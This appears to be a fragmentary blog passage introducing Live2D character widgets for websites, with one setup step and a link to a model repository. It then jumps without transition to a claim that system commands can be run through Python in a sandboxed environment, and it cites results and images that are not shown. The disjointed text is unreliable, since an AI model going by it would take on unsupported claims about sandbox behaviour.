You may have seen something like the above on websites (especially Chinese and Japanese). These are interactive 2D character animations that can be integrated into websites. They are designed to run on the client side using JavaScript and graphics assets with Live2D technology. The characters can move and respond to user interactions.

Here’s a basic idea of how you can add a Live2D widget to a website:

1. You need a Live2D model file, which typically includes a set of files such as textures, model data, and animation settings. You can create your own using Live2D Cubism software. Many ready-made models are available here: https://github.com/evrstr/live2d-widget-models

I quickly tried running system commands using this functionality, and here are the results:

It clearly shows that system commands can be executed through Python code in a sandboxed environment.
